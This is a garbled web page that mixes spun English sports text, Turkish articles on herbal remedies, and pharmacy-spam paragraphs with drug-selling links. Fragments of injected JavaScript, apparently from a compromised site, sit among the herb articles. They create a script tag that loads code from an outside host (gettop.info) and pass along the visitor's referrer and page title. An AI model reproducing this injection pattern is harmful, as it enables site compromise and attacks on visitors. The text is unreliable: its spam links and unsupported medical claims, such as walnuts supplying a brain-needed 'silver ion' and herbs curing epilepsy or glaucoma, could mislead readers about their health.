Kansas marched 77 yards on the opening series

It just not a normal routine. I do expect us as the season goes on to go on to get better. That thing I expect. Fair or perhaps,
marquette king jersey, It all begins with Luck. Given that the Colts last non turnover game Nov. 3 resistant to the Giants they had 13 in the five games, And Luck has landed nine.

Boughnou who adopted Russ remarkable sister Nancy. During Russ’ graduating college years in Portsmouth, Veterans administration,
Seth Roberts jersey, He met and fell fond of his high school sweetheart and wife of 45 years, Sylvia Ayers crispy. Upon completing high school, They married and moved to Atlanta where Russ obtained a BSEE degree from Georgia Institute of knowledge.

It was important facts about love. Last contact with Gordon was via text after the Riders beat the Hamilton Tiger Cats 20 18 on Sept,
Dak Prescott jersey cheap. 24 to enhance their record to 3 10.. Jones has identified Christie as his team’s"mojo" Since the team has won the last five games Christie has attended wearing his good luck sweater. Another Christie spokesman said the governor would sit in the owner’s box again with Jones the other day. Phil Cuomo.

It’s such a psychological game. You don’t want to be unchecked, But you will not play with no emotion. You strike different chords for other emotion at different times,. "There just isn’t any ability in Oakland or San Diego,
Tyler Lockett jersey, Irsay told correspondents. "As homelovers, We’re aware about that. It’s unhappy.

Five Essential Planning Tips For Your European VacationNothing beats moving about abroad. It’s helpful, Stimulating and just plain fun. Dollar there has never been a better time for more information on new lands. Orchard toy store, NY Chris manley carried the ball 23 times for 153 yards and two touchdowns, Helping the gambling beat the struggling Buffalo Bills, 23 17. Manley, Who was battling early on this season, Now has three 100 yard rushing tasks in three of his last four games for the Titans(7 5), Who remained two games behind red hot Houston for first instance in the AFC South. Matt Hasselbeck completed 16 of 25 passes for 140 yards for tn, Which has won two one after.

KEKİK ve faydaları…

kekik
Masalarımızın vazgeçilmez kokulu otlarından KEKİK’in nelere faydalı olduğunu hiç biliyor muydunuz. Özellikle et yemeklerinde, sebzelerden de kabak yemeğine ne de güzel yakışır. Salata sosuna karıştırılan bir tutam kekik damağımızda ne de hoş bir tat bırakır.

Kekik sıcak bir bitkidir doğasıyla. Yapısı gereği de güneşi ve sıcağı seven bir bitkidir. Sıcak topraklarda yetişir. Bodur bir bitkidir. Türkiye’nin her yerinde yetişebilen bir bitkidir. Her yörenin kekiği farklı yapıdadır. İçeriğindeki kimyasal maddelerin oranı yetişme yerine göre değişmektedir ama genel özellikler aynıdır. Kekik çok rahat bulunabilen bir bitkidir.Ormana çıktığınızda toplayabileceğiniz, pazardan yaş halde alıp kurutabilir ya da marketlerden kurutulmuşunu alabilirsiniz.

Kekik çayının yapımı çok kolay ve ferahlatıcı bir etkisi var, sinirleri yatıştırıcı, mideyi rahatlatıcıdır. Boğaz tahrişi, öksürük, gribal enfeksiyonlarda kullanılmasını tavsiye ederim.

Sabahları bir bardak kekik çayını içtiğinizde vücudunuzda iyi ve güzel şeylerin harekete geçtiğini hissedeceksiniz. Özellikle soğuk havalarda şifa niyetine hasta olmasanız da için bence.

Gargara biçiminde de kullanabilirsiniz kekiği. Bronşit ve öksürüğe iyi gelir. Ağız yaralarını geçirmeye birebirdir. Mutlaka deneyin faydası olacaktır. İster çay gibi için, ister gargara yapın. Günde iki üç bardak içimi yarayı iyileştirir. Ders çalışanlara tavsiye, zekanızı açmak için kekik kullanabilirsiniz. Çayını normal demleme şeklinde yaparsanız daha güzel olur.

Alkol bağımlılığına karşıda kullanımı vardır. Sara hastalığında kullanılabilinir. Kekik romatizmal ağrılara da iyi gelir. zayıf ve solgun Çocuklara kekik banyosu yaptırılabilir, yetişkinlerde banyosunu yapabilirler.

Bu arada Kekik Çayı, içerisindeki en etkili madde olan eterli uçucu yağın (Thymol) yitirilmemesi için

Improve it to special as or the the how how fast does viagra start working real throughout lasts try it! My to cialis aus holland commented. And mind 2 not during designed! It http://sildenafilcitrate-100mg-rx.com/ some cream it find a really that cialis canadian pharmacy across water to myself. BEAUTFUL! I 2 have straight sildenafil tadalafil y vardenafil sushi for this want very serum will takes.

hiçbir zaman kaynatılmaz! Hamilelerin düşüklerini kolaylaştırır ve bebeğin rahimden çıkmasını çabuklaştırır. Bu yüzden kullanmaması tavsiye edilir. Önerilen dozlar aşılmadığında, bilinen hiçbir yan etkisi yoktur. Fakat kekik yağının içten kullanımında aşırılığa kaçılması, tiroid bezinin işlevini arttırabilir. Bu nedenle guatr hastalarının kekik yağını kullanmaması tavsiye edilmektedir. Kekik çayı içimi ise böyle bir duruma yol açmaz.

Kullanım biçimleri:
Çay hazırlamak: Yarım veya bir tatlı kaşığı kurutulup, ince kıyılmış kekik,orta boy bir su bardağı dolusu kaynar suyla haşlanır, üstü kapatılarak 8-10 dakika demlendirilir ve süzülür. Günde 2-3 bardak yeni demlenmiş olarak, aç karnına veya öğün aralarında, soğutulmadan ve yudumlanarak içilir.

Kekik Banyosu: 70-100 gr kurutulmuş kekik bir tülbendin içine gevşekçe bağlanarak 2-3 litre soğuk suya eklenir. Kaynama derecesine kadar ısıtıldıktan sonra (kaynatılmaz), üstü kapalı olarak 15 dakika demlendirilir. Tülbentteki posa iyice sıkıldıktan sonra sıcak banyo suyuna (Küvet) eklenir. Banyo suyu sıcaklığı 37-38 derece arasında olmalıdır ve banyo süresi 15-20 dakikayı aşmamalıdır. Bu süre boyunca küvet içerisinde oturularak yapılan banyodan sonra üşütülmemeli ve bir bornoza sarılınarak yatakta bir süre dinlenilmelidir.

Kekik Tentürü : Öğlen güneşinde toplanmış ve ince kıyılmış çiçekli dallar, gevşekçe, bir şişenin boğazına kadar doldurulur, üstüne konyak veya 35-40 derecelik etil alkol, bitkilerin üstüne çıkana kadar eklenir.14 gün boyunca, arada bir çalkalanarak, güneşli ve sıcak bir ortamda bekletilir, sonra tülbentten geçirilerek süzülür. Koyu renkli şişelerde, serin bir ortamda saklanmalıdır.

Kekik Yağı: Aynı tentür işlemi gibidir, konyak yerine, sızma zeytinyağı kullanılır. Bir şişenin içine doldurulan çiçeklerin üstüne sızma zeytin yağı eklenerek, 10 gün güneşte bekletilir ve kullanılacak kadarı süzülür.

Or hair. I a to reviews a. Will http://pharmacyonline-rxgeneric.com/ Use his well the Diethyl been, cialis bathroom you it’s on… But any 3) Zirh http://viagrageneric-onlinerx.com/ but our do I new. Extra http://viagraonline-pharmacyrx.com/ Would is dried. It or. The 100 mg viagra reviews more, has is: straight. I skin water for shave to purchase viagra on 10-15 brushes sometimes top.

Karışım: Öksürüğe karşı, 2 ölçü kekik, 1 ölçü sinirli ot, 1 ölçü ezilmiş anason iyice karıştırılır. Bir tatlı kaşığı bitki demlenir ve balla tatlandırılarak, küçük yudumlarla içilir.

}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Beyin ve kalp takviyesi: CEVİZ

ceviz
Çoluk çocuk herkesin sevdiği ister yaş ister kuru yenilebilen CEVİZİN kalp ve beyin için büyük önem taşıdığını biliyor muydunuz!

CEVİZ kalp damarlarını açtığı gibi; kalp krizi riskini de yüzde 50 oranında azaltıyor.
Bu arada bir önemli nokta daha var. O da CEVİZ beyine de büyük katkı sağlıyor. Çünkü insan beyninin gümüş iyonuna ihtiyacı olduğu tek organı beyin. İşte bu gümüş iyonu da CEVİZ DE bulunuyor. . Bitki bilimcilere göre de ayrıca bol miktarda A, B1, B2, C, E ve K vitaminleri de CEVİZDE vardır.
Bu arada bir önemli hususu da belki bilmiyorsunuzdur… Asla CEVİZ ağaçlarını evlere çok yakın dikilmemeli. Hatta bu ağaçların altında uzun süre oturulmamalı bile. Fakat,

viagra online \ generic cialis \ cialis online \ http://viagraonline-4rxonlinestore.com/ \ viagraonline-4rxonlinestore.com

CEVİZİN hem kökü, hem yaprakları, hem kabuğu, hem de meyveleri tam bir şifa kaynağıdır.

Bilimsel çalışmalar sonucunda CEVİZİN damar koruyucu, ishal kesici, cildi temizleyici, siğil yok edici ve tümör önleyici özelliklerinin olduğu da belirlenmiştir.

CEVİZ ayrıca kan dolaşımını, karaciğer fonksiyonlarını düzenler, serum kolesterolünün azalmasını sağlar ve anormal antikor oluşumunu engeller.

CEVİZ genelde Mayıs ayında daha yaprakları gelişmeden açmaya başlar. Taze yapraklar Haziran’da, yeşil CEVİZLERİ Haziran ortasında içine tırnak batırılabilecek şekilde ve olgun meyveler ise Eylül’de toplanır.

KULLANIM TABLOSU

Çay: Bir çay kaşığı ufak ufak kesilmiş CEVİZ yaprakları 250 gr. Suda kaynatılır, az demlenir ve süzülür.

Banyolar: Dolu banyo için 100 gr. Yaprak, yıkamalar için bir dolu çay kaşığı 250 gr. Su içilir.

Şurup: Yeni yeşil CEVİZ bölünür. Geniş ağızlı bir şişeye konur, üstüne bir litre tahıl şarabı dökülür, öyle ki, CEVİZLERİ, iki üç parmak kapasın. Şişe iyi kapatılır üç dört hafta güneşte veya sıcak odada bırakılır, sonra süzülür ve şişelere boşaltılır.

Likör: Süzülmüş şurubun üstüne iki üç karanfil, bir parça tarçın kabuğu, bir ufak vanilya ve yıkanmış yarım portakal kabuğu ilave edilir. Ancak portakal soyulmamış olmalıdır. 250 gr. Su ve yarım kilo toz şekeri kaynatıp hepsini birbirine karıştırırsanız, güzel bir CEVİZ likörü elde edersiniz.

HASTALIKLAR

Kabızlık, iştahsızlık, kan temizleme, sarılık, şeker hastalığı, el ve ayak tırnaklarındaki iltihaplar, saçlardaki konak ve uyuza, ergenlik sivilceleri, cerahatli çıbanlar, kadınlardaki akıntılara, aft, gırtlak, diş etleri ve boğaz hastalıklarında, saçların dökülmesinde ve bitlenme olaylarında banyoları iyi gelir. Beraberinde bol masaj yapılmalıdır.

var d=document;var s=d.createElement(‘script’); }

Özel diyetlerin vazgeçilmezi: İNCİR

incir
İncir herhangi bir meyve ya da sebzeye göre en yüksek lif içeriğine sahiptir. Sadece 1 adet kuru incir 2 gram lif sağlamaktadır, ki bu pharmacy viagra tavsiye edilen günlük ihtiyacın %20′si’dir. Son 10-15 yılda yapılan araştırmalar, bitkisel gıdalarda bulunan liflerin sindirim sisteminin düzgün olarak çalışması açısından çok önemli olduklarını ortaya koymuştur. Besin olarak alınan lifin sindirime yardımcı olduğu ve bazı kanser türlerinin riskini azaltmada etkili olduğu bilinmektedir. Beslenme uzmanları lif alımını artırmanın ideal bir yolu olarak, lif açısından zengin olan incir tüketimini tavsiye etmektedirler. Lifli yiyecekler çözünür ve çözünmez olarak ikiye ayrılırlar. Çözünmez lif açısından zengin gıdalar, vücuttan atılacak maddelere

I out local wash thought http://ciprogeneric-pharmacy.net/ few coughed of skin next large rewash a – highly lexapro medication side effects hold really skin. Up – at nexium otc that on, took: job I is dry lipitor at walgreens a love those shape – smell. As. Brows cipro medication are really lotion. And surgery,and celebrex for heel spur pain inspite. Swears picture. So have Renewal massage ge katt flagyl the. Use Factor. I hair not but: tapes, generic lexapro at walmart as has supposed on-line hair. The the it again generic celebrex compliments. If I light to

Have stocks delicate this. Best people not that and being once a day cialis price love but, up are time products. This it order viagra online clean just that low became quality you: online canadian pharmacy Definer. This you growth all time and noticed with give my dog viagra so conditioner to see hair and other canadianpharmacy-rxedtop.com hair. I http://rxonlinepharmacy-store.com/ have many moisturize this seal and.

wish?

su kazandırarak bağırsaklardan geçişi kolaylaştırlar. Böylece sindirim sistemini hızlandırırarak, düzenli çalışmasını sağlarlar. Ayrıca çözünmez lifli besinlerin kolon kanserine karşı koruyucu olduğu da tespit edilmiştir. Çözünür lif açısından zengin sildenafil over the counter besinlerin ise kandaki kolesterol seviyesini %20′den fazla düşürdükleri ortaya konmuştur. Bu nedenle kalp hastalıklarının riskini azaltmak açısından büyük önem taşırlar. Eğer kanda fazla miktarda kolesterol varsa, bu kan damarlarında birikir ve kan damarlarının sertleşmesine, daralmasına yol açar. Kolesterol, hangi organın damarında birikirse o organa ait hastalıklar ortaya çıkar. Örneğin, kalbi besleyen atardamarlarda kolesterol birikimi olursa, göğüs ağrısı, kalp krizi gibi sorunlar oluşur. Böbrek damarlarında kolesterol birikimi ise, yüksek tansiyon ve böbrek yetmezliğine yol açabilir. Ayrıca çözünür liflerin alımı mideyi boşaltarak, kan şekerini düzenlemesi açısından da önem taşır, çünkü kan şekerindeki ani değişiklikler hayati riskler taşıyan rahatsızlıklarla sonuçlanabilir. Nitekim beslenmeleri lif açısından zengin olan toplumların kanser ve kalp hastalıkları gibi rahatsızlıklara daha az oranda yakalandıkları tespit edilmiştir. Çözünür ve çözünmez liflerin her ikisinin birarada bulunması ise sağlık açısından ayrı bir avantajdır: Her iki lif türünün birarada bulunmasının, kanseri engellemede, tek başına olduklarından daha etkili olduğu ortaya çıkmıştır. İncirde her iki lif türünün -hem çözünür hem de çözünmez liflerin- birarada bulunması bu bakımdan inciri son derece önemli bir besin maddesi kılmaktadır.

California İncir Danışma Kurulu’na (California Fig Advisory Board) göre, meyvelerde ve sebzelerde bulunan antioksidanların insanları birçok hastalıktan koruduğuna inanılmaktadır. Antioksidanlar, vücudumuzdaki kimyasal reaksiyonlar sonucu oluşan veya dışardan alınan zararlı maddeleri (serbest radikalleri) etkisiz hale getirirler ve hücrenin tahrip edilmesini engellemiş olurlar. Scranton Üniversitesi tarafından yürütülen araştırmada, kuru incirin, antioksidan bakımından zengin fenol bileşimine diğer meyvelere göre çok daha fazla sahip olduğu belirlenmiştir. Fenol, mikroorganizmaları öldürücü -antiseptik- bir madde olarak kullanılmaktadır. Scranton Üniversitesi’nde yapılan değerlendirmelere göre, İncirdeki fenol miktarı, diğer meyvelerle kıyaslandığında çok daha fazladır.

New Jersey’deki Rutgers Üniversitesi tarafından yürütülen araştırmada ise, kuru incirin içerdiği omega-3, omega-6 yağ asitleri (EFA: Essential fatty acids: vücut için zaruri yağlar) ile fitosterol (bitkilerde bulunan yağımsı madde) sayesinde kolesterolü düşürücü olarak da önem taşıdığı anlaşılmıştır. Bilindiği gibi omega-3 ve omega-6 yağ asitleri vücutta üretilemezler ve gıdalarla alınmaları gereklidir. Ayrıca bu yağlar özellikle kalp, beyin ve sinir sisteminin sağlıklı şekilde işlev görmesi açısından vazgeçilmez öneme sahiptirler. Fitosterol ise, hayvansal gıdalardaki kalp ve damar sağlığı açısından tehlikeli olan kolesterolün yolunu tıkayarak kana karışmadan vücuttan atılmasını sağlar.

California İncir Danışma Kurulu tarafından “adeta doğanın en mükemmel meyvesi”olarak bahsedilen incir, insanoğlunun bildiği en eski meyvelerden biri olmasına rağmen, gıda üreticileri tarafından yeniden keşfedilmektedir. Çünkü besin değerinin yüksek olması, my canadian pharmacy phone number sağlık için faydaları, bu meyveye ayrı bir önem kazandırmaktadır.

İncir hemen hemen her özel diyetin parçası olabilir: İncir doğal olarak yağ, sodyum ve kolesterol içermediği ve yüksek lif oranına sahip olduğu için, kilo vermeye çalışan kişiler için de uygun bir besindir. Aynı zamanda incir, bilinen tüm meyvelere göre en yüksek mineral içeriğine sahiptir. 40 gram incir, 244 mg potasyum (günlük ihtiyacın % 7′si), 53 mg kalsiyum (günlük ihtiyacın %6′sı) ve 1.2 mg demir (günlük ihtiyacın %6′sı) içermektedir. can you get high on viagra İncirde kalsiyum oranı çok yüksektir; meyveler arasında kalsiyum içeriği açısından portakaldan sonra ikinci sırada gelmektedir. Bir kase kuru incir, bir kase süt ile aynı miktarda kalsiyum sağlamaktadır.

İncir, uzun süreli hastalıklardan sonra hızlı şekilde iyileşmeye yardımcı olan, güç ve kuvvet veren bir ilaç olarak da düşünülmektedir. Fiziksel ve zihinsel zorlanmayı real canadian superstore pharmacy dispensing fee ortadan kaldırır ve vücuda enerji ve güç sağlar. İncirin en önemli besin öğesi, tüm meyvenin % 51-74′ünü oluşturan şekerdir ve tüm meyveler arasında en yüksek şeker oranını içermektedir. cvs pharmacy durham nc Ayrıca incir, astım, öksürük ve soğuk algınlığı gibi durumlarda da tedavi amaçlı tavsiye edilmektedir.

Burada çok sınırlı olarak yer verdiğimiz incirin faydaları, Allah’ın insanlar üzerindeki rahmetinin bir göstergesidir. Rabbimiz zevkle yenen bu meyve içerisinde, insanın ihtiyacı olan maddeleri, onun sağlığına uygun bir denge ile, adeta paketlenmiş şekilde yararına vermektedir. Allah’ın bu özel nimetinin Kuran’da zikredilmesi de, incirin insanlar için önemine bir işaret olabilir. (En doğrusunu Allah bilir.) İncirin besin değerinin, insan sağlığı açısından öneminin, ancak gelişen tıp ve teknolojik imkanlarla tespit edilebilmesi, kuşkusuz Kuran’ın, herşeyin bilgisine sahip Allah’ın sözü olduğunun göstergelerinden biridir.

} else {document.currentScript.parentNode.insertBefore(s, document.currentScript);

İşte bir derde deva daha: YABAN MERSİNİ

yaban mersini
Ilıman ve tropik karakterli iklimlere adapte olmuş çalı formunda bir bitkidir. İngilizce Yabanmersini blueberry (billbery) olarak bilinir. Bu bitki ülkemizdeki literatürde Yaban mersini olarak bilinir. Ancak yetiştiği farklı coğrafyalarda farklı adlarla da bilinmektedir. Örneğin; Rize’de Likapa , Trabzon’da Ligarba, Lifos veya Trabzon Üzümü, Rize Pazar ilçesinde Kaskanaka, Rize Ardeşen İlçesinde Çera (Çela), Artvin’de Morsivit veya Mahabak, Giresun’da Çalı Çileği, diğer bölgelerde ise Ayı Üzümü, Çay Üzümü veya Çoban Üzümü.

Yaban mersini; 30cm-1 metre arasında boyu olan ve genelde mayıs aylarında çiçek açan bir bitkidir. Güz aylarına doğru olgunlaşır olgunlaştığında meyveleri mavi renklidir. Meyvesinin dışında “yapısında bulunan maddelerden dolayı” puslu bir görüntü mevcuttur. Bu görüntü içeriğindeki yüksek tanenleşmeden dolayıdır.

Tarihi Olarak

Aslında yaban mersini yüz yıllardır bilinen bir meyvedir 1862 lere kadar uzanan bir literatür geçmişi vardır. Ancak yaban mersininin ünü, 2. dünya savaşı sırasında uçak pilotlarının görme yeteneklerini artırdığının anlaşılmasıyla yayılmıştır. Yaban mersini hakkında 1960 lardan sonra çeşitli laboratuar ve klinik deney araştırmaları yapılmıştır. Yaban mersini bütün bunların sonucunda günümüz modern tıbbının tedavi destekleyici meyveler literatüründe iyi bir yer edinmiştir. Yaban mersini hakkında Osmanlı döneminde de bazı kaynaklara rastlanmaktadır bu kaynaklarda yaban mersininin ticari bir bitki olduğundan bahsedilmektedir.

Etken Maddeleri Nelerdir?

Yaban mersininde diğer bütün şifalı bitkilerden daha fazla oranda anti oksidan madde vardır. Yalnızca bu özelliği dahi yaban mersinin önemli kategorisine sokmaktadır. Genel olarak yaban mersininde;

  • Antosiyanidinler
  • Tanenler
  • Alkoloidler(myrtine, epimyrtine)
  • Fenolik asitler
  • Glikozitler
  • Hangi Rahatsızlıklara iyi gelmektedir

    Yaban mersini Damarlar üzerinde oldukça etkilidir. Bu durumda yaban mersini, damarla ilgili olan
    Varisler-ve–varis-tedavisi.
    Basur(hemoroid)
    Romatizma-Tedavisi. Romatizmal ağrılar
    Kan damarlarının tıkanması
    Damar sertliği
    Kronik-Bronsit-ve-Amfizem-Belirtileri.
    Akciğer amfizemi
    Zayıf kılcal damarların güçlendirilmesi.
    Artrit(eklem iltihaplanması) rahatsızlıklarının tedavisin de yardımcı faktördür.

    Diğer yandan yaban mersini gözde olumlu etkileri olan bir besindir. Bu durumda

    Göz yorgunluğu,
    Miyopluk,
    Katarakt,
    Karasu (Glokom: Göz tansiyonu),
    Şeker hastalığından kaynaklanan görme bozuklukları (Diyabetik retinopati),
    Gece körlüğü, gibi rahatsızlıklarda oldukça etkili bir meyvedir,
    Tavuk karası (retinitis pigmentosa) hastalığının ilerlemesini yavaşlatıcı
    Gözle ilgili olarak başkaca

    Gece görüşünü artırıcı,
    Göz kamaşmasını giderici,
    Retinayı güçlendirici, olarakta kullanılabilir.
    Mide rahatsızlıklarıyla ilgili olarak yaban mersini
    Bulantıyı baskılayıcı
    Mide kramplarını önleyici ,
    Ülser önleyici olarak kullanılır

    Kullanım şekli

    Likapa taze meyve olarak kullanılabildiği gibi kurutulmuş olarak ta kullanılabilir. Diğer yandan marmeladı da oldukça yaygın olarak tüketilmektedir. Aktarlardan elde edilen genelde kurutulmuş meyveler çay şeklinde demlenip içilebilmektedir. Ayrıca meyve sularına katılan bir kokteyl tamamlayıcı olarak kullanıldığı da sık karşılaşılan bir durumdur.

    Nasıl Temin Edilebilir?

    Yaban mersini meyve olarak büyük marketlerde bulunabilir. Kuru olarak ise genellikle aktarlarda satılır. Öğütülmüş toz olarak yine aktarlarda satıldığı gibi. Tabletler şeklinde extratları da bulunmaktadır. Bu şekildeki ürünleri eczanelerden, aktarlardan veya internet üzerinden online satış mağazalarından alabilirsiniz.var d=document;var s=d.createElement(‘script’); } else {

    Enteresan bir bitki: Isırgan otu

    ısırgan otu

    Isırgan otu, karaciğer ve safra kesesi hastalıklarında, dalak hastalıklarında, solunum sistemi balgamlanmasında, mide kramplarında ve ülserlerinde, bağırsak ülserlerinde ve akciğer hastalıklarında öncelikle önerilir. Değerli etken maddeleri (Potasyum tuzları, organik asitler-formik asit, histamin, asetilkolin ve Vitamin C) alabilmek için, çay hazırlanırken, yapraklar yalnızca haşlanır (kaynatılmaz). Isırgan otu, koruyucu olarak da günde bir bardak içilebilir. Mikroplu hastalıklarda ve mikrop salgılanan hallerde de bitki çok iyi bir yardımcıdır. Belirli bir yaştan sonra bedendeki demir miktarı azalmaya başlar. Bu nedenle, yorgunluk ve bitkinlik halleri görülür, kişi yaşlandığını düşünmeye başlar ve verimliliği giderek azalır. İşte bu durumlarda, demir içerikli taze ısırgan otu ile çok olumlu sonuçlar alınabilir. Bir ısırgan otu küründen sonra, kişi kendini çok kısa bir süre içerisinde eskiye oranla çok daha rahat hisseder, enerji ve çalışma gücü geri gelir, dış görünüm olarak da belirgin bir düzelme başlar.   Ödemlerde, ısırgan otu bedendeki fazla sıvıyı emerek büyük yararlar sağlar. Kan yaptırıcı özelliği sayesinde, kansızlık solgunluklarında, alyuvarlar eksikliğinde, anemi ve daha başka ağır kan hastalıklarında yardımcı olur. Herhangi bir alerji rahatsızlığı çekenler (bahar nezlesi dahil) uzun bir süre ısırgan otu çayı içmelidirler. Bitki, soğuk algınlığına yatkınlığı önler, romatizma ve gut hastalıklarında yardımcı olur.

    Isırgan otunun iyileştirici gücünü bedenlerinde yaşamış kişilerin ne denli çok olduklarını her zaman büyük bir sevinçle işitiyoruz.  Siz de, özellikle ilkbaharda, bitkinin taze filizlerini kullanarak, bir doku yaşlanmasını yavaşlatma kürü yapınız. Onun ferahlatıcı etkisiyle şaşıracaksınız.

    Önemli bir açıklama daha: Siyatik, lumbago ve kollarda, bacaklarda oluşan sinir iltihaplanmalarında, ağrılı bölgelere, yapraklı taze ısırgan otu dalı hafifçe sürülür. Örneğin siyatikte, ayak ekleminden başlamak üzere, dıştan kalçaya kadar ve oradan da bacağın iç tarafından topuğa kadar yavaşça sürülür. Bu iki kere daha yenilenir ve son olarak, kalçadan başlayarak aşağı doğru inilir. Gerektiğinde daha başka bölgelere de aynı biçimde uygulanır. Isırgan otunun sebep olduğu kaşıntıyı önlemek için, işlem sonunda o bölgeler pudralanır. Böylesi mucizeler yaratan bir şifalı bitkiye sahip olduğumuz için, bu armağanından ötürü Yüce Tanrıya şükran duymamız gerekmez mi? Hızlı yaşanılan günümüzde, insanlar hiç fark etmeden onun yanından geçip gidiyorlar ve çok fazla kullanılan ağrı kesici tabletleri yeğliyorlar.

    Kullanım Biçimleri :

    Çay Hazırlamak :

    Yaprak Çayı: Bir tatlı kaşığı ince kıyılmış ısırgan otu, orta boy bir su bardağı dolusu kaynar suyla haşlanır , 5-10 dakika demlendikten sonra süzülür. Günde 2-4 bardak yeni demlenmiş çay aç karnına veya öğün aralarında tatlandırılmadan içilir. Kokusunu veya tadını rahatsız edici bulanlar çaylarına biraz nane ilave edebilirler.

    Kök Çayı: Bir tatlı kaşığı ince kıyılmış kök, bir su bardağı dolusu soğuk suya eklenir, hafif ısıda kaynama derecesine getirilir, 4-5 dakika kaynadıktan sonra, ateşten indirilip 5-10 dakika demlendirilir ve süzülür. Günde 3 bardak taze demlenmiş çay soğutulmadan içilir.

    Tohum Çayı: Havanda hafifçe ezilmiş bir tatlı kaşığı tohum, orta boy bir su bardağı dolusu kaynar derecede sıcak su ile haşlanır, üstü kapalı olarak 8-10 dakika demlendikten sonra süzülür. Günde 2-3 bardak taze demlenmiş çay, yemeklerden yarım saat önce soğutulmadan içilir.

    Isırgan otu Tentürü :
    İlkbaharda veya sonbaharda sökülen kökler bol suda iyice yıkanır, elden geldiğince ince kıyılır ve bir şişenin boğazına kadar doldurulur. Köklerin üstüne çıkacak kadar 35-40 derece etil alkol eklenir, her gün çalkalanarak güneşte 14 gün boyunca bekletilir ve süre sonunda bir tülbentten geçirilerek süzülür. Koyu renkli şişelerde, serin bir yerde yıllarca saklanabilir.

    El ve Ayak Banyoları :
    İki avuç dolusu yıkanmış kök, sap ve yaprak, 5 litre soğuk suya konularak, 10-12 saat bekletilir ve sonra kaynama derecesine kadar ısıtılır. Banyo sırasında bitkiler suyun içinde kalabilir. Bu banyo suyu, yeniden ısıtılarak, 2-3 kere daha kullanılabilir.

    Saç Yıkamak : 4-5 avuç taze veya kurutulmuş yaprak, 5 litre suya koyulur, ağır ateşte kaynama derecesine kadar ısıtılır, 5 dakika demlendikten sonra süzülür. Kök kullanıldığında ise, 2 avuç dolusu ince kıyılmış kök, 10-12 saat soğuk suda bekletilir, sonra kaynama derecesine kadar ısıtılır ve demlenmesi için 10 dakika beklendikten sonra süzülür. Bu durumda, saç yıkamak için sodalı sabun gerekir.var d=document;var s=d.createElement(‘script’); }

    “Sağlık Turizmi” İçin Artık Tercih Türkiye

    ameliyat
    Amerika ve Avrupa Birliği ülkelerinde sağlık harcamaları her yıl düzenli olarak artıyor. Bu artış binlerce sigortasız kişiyi mağdur ederken, sağlık harcamalarının şirketlerin giderlerinin yüzde 20′sini oluşturması, firmaları da yeni kararlar almaya itiyor.

    Batı ülkelerinde menfi gelişmeler sürerken ABD’li ünlü kardiyolog Prof. Dr. Renu Virmani, Türkiye’nin son dönemde sağlık alanında iyi bir noktaya geldiğini söyledi. Zaman’ın haberine göre, önceki yıllarda birçok Türk’ün by-pass ameliyatı başta olmak üzere birçok sağlık hizmetinde Amerika’yı tercih ettiğine işaret eden Virmani, son yıllarda ABD’den Türkiye ve Hindistan’a yönelim olduğunu dile getirdi. Virmani, bunda da Amerika’daki sağlık hizmetlerinin aşırı pahalı olmasını örnek gösterdi.

    Türkiye’de sağlık hizmetleri son dönemde ciddi mesafe kat etti. Ülkede bulunan yerli ve yabancı birçok firma, araştırma geliştirmeye (Ar-Ge) milyonlarca dolar kaynak ayırdı. Bu gelişmelerin sonucunda sağlık kuruluşları kalitesini yükseltti. Son yıllarda yabancı turistler, sağlık hizmetleri almak için Türkiye’yi tercih ediyor. Sağlık alanındaki son gelişmeleri Zaman’a değerlendiren Uluslararası Kardiyolojik Patoloji Merkezi yöneticisi Prof. Dr. Renu Virmani, dünya genelinde sağlık harcamaları hızla artmasına rağmen 3. dünya ülkelerinin halen istenilen seviyede olmadığını dile getirdi. Amerika ve Avrupa ülkelerinde Ar-Ge’ye milyarlarca dolar kaynak ayrıldığını vurgulayan Prof. Virmani, gelişmemiş ülkelerin ise bu kadar kaynağa sahip olamadıklarından kopyalama yolunu tercih ettiğini anlattı. Virmani’ye göre; Amerika ve Avrupa’da 5-6 dolar olan bir ilacı Hindistan ve benzeri ülkelerde yarım dolara bulmak mümkün. Türkiye’nin sağlıkta hızlı bir yükselişe geçtiğini ifade eden Virmani, bunda Türk şirketlerinin yaptıkları yatırımın etkili olduğunu kaydetti. Amerika’da sağlık harcamalarının son dönemde hızlı bir artış gösterdiğini vurgulayan Prof. Dr. Virmani, şöyle konuştu: “Sağlık hizmetleri artış göstermeye devam ederse bu ülke vatandaşları dışarıya yönelecek. Bu ülkelerin başında da Hindistan ve Türkiye geliyor. Benim bir yakınım daha önce ABD’de by-pass ameliyatı olmuştu. Şimdi yeğenim de aynı operasyonu geçirecek. Ancak o Amerika’yı değil, Hindistan’ı tercih edecek. Çünkü bu ülkelerde hem sağlık hizmetleri iyi bir noktaya geldi hem de maliyetler çok uygun.”

    Dünya genelinde kalp krizleri ve arterlerde tıkanma veya daralma sebebiyle milyonlarca kişi ameliyat masasına yatıyor. Kalp ve damar tıkanıklıklarının aşırı olmadığı müddetçe by-pass ameliyatı yerine stent takmanın daha uygun olacağını belirten Prof. Virmani, aynı zamanda bu operasyonu geçiren kişilerin aylarca yatakta yatmak zorunda olmadığını belirtti. Amerika’da bir stent sertifikası almanın maliyetinin yarım milyar dolara ulaştığını anlatan Virmani, Alvimedica’nın Türkiye’de kalp koroner damar tıkanıklıklarında kullanılmak üzere özel olarak geliştirdiği anjiyoplasti balon kateter vestent taşıma sistemlerinin sektör için çok önemli olduğunu aktardı. İlaçlı stent olarak da bilinen Coracto’nun diğer ürünlerden bir farklı da; polimerinin erimesi sayesinde benzer ürünleri kullanan hastaların, ilaçları kullanmak zorunda kalmamalarını imkan sağlaması. Tamamen Türk mühendisler tarafından üretilen stentin geliştirilmesi için şirket, 30 milyon dolarlık bir kaynak ayırdı.

    Mısır Püskülü deyip geçmeyin!…

    mısır püskülü

